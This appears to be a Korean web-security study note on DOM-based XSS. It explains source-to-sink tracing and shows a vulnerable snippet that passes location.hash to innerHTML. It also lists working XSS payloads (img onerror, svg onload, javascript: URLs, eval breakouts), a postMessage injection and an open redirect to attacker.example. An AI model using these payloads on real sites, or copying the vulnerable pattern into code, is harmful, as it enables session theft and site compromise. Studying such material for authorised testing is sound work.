Notes / Web Security
DOM XSS (source와 sink)
서버를 거치지 않고 클라이언트 JS가 location 값을 DOM sink로 흘려 실행되는 DOM XSS의 개념과, source→sink 추적·실행 구문을 정리합니다.
목차
DOM XSS는 서버 응답이 아니라 클라이언트 자바스크립트가 공격자 제어 값(source)을 위험한 DOM 기능(sink)에 넘겨 실행되는 XSS다. 페이로드가 서버 로그에 안 남고
#뒤에 있으면 서버로 전송조차 안 된다.
개념
흐름은 source → (가공) → sink 다. source는 location.hash·location.search·document.referrer·postMessage 등 공격자가 바꿀 수 있는 값이고, sink는 그 값을 코드/HTML로 해석하는 innerHTML·document.write·eval·setTimeout 등이다.
let q = location.hash.slice(1); // source: URL 조각(#...)
document.getElementById("out").innerHTML = q; // sink: innerHTML → 실행
주요 sink: innerHTML/outerHTML, document.write, eval/Function, setTimeout(str), location/location.href(javascript:), el.src/el.href, jQuery $(...)·.html(). # 뒤 값은 서버로 가지 않아 WAF·서버 필터가 못 본다.
공격·우회 구문
허가된 범위, 무해한 alert(1)로 증명한다.
source → sink 추적
DevTools 에서 location.hash/search/referrer/name/postMessage 가 쓰이는 곳 검색
그 값이 innerHTML/document.write/eval/setTimeout/location 에 닿는지 따라감
브레이크포인트: sink 함수에 중단점 걸고 입력이 흘러오는지
HTML sink 실행
#<img src=x onerror=alert(1)>
#<svg onload=alert(1)>
?q=<iframe src=javascript:alert(1)>
JS 실행 sink
location = "javascript:alert(1)"
#';alert(1);// (eval/Function 문맥)
setTimeout 문자열 인자에 닿으면: #alert(1)
postMessage / 리다이렉트 source
악성 페이지에서: target.postMessage("<img src=x onerror=alert(1)>","*")
→ 수신측이 event.data 를 innerHTML 에 넣고 origin 검증이 없으면 실행
location.href = 제어 가능한 값 → //attacker.example 로 오픈 리다이렉트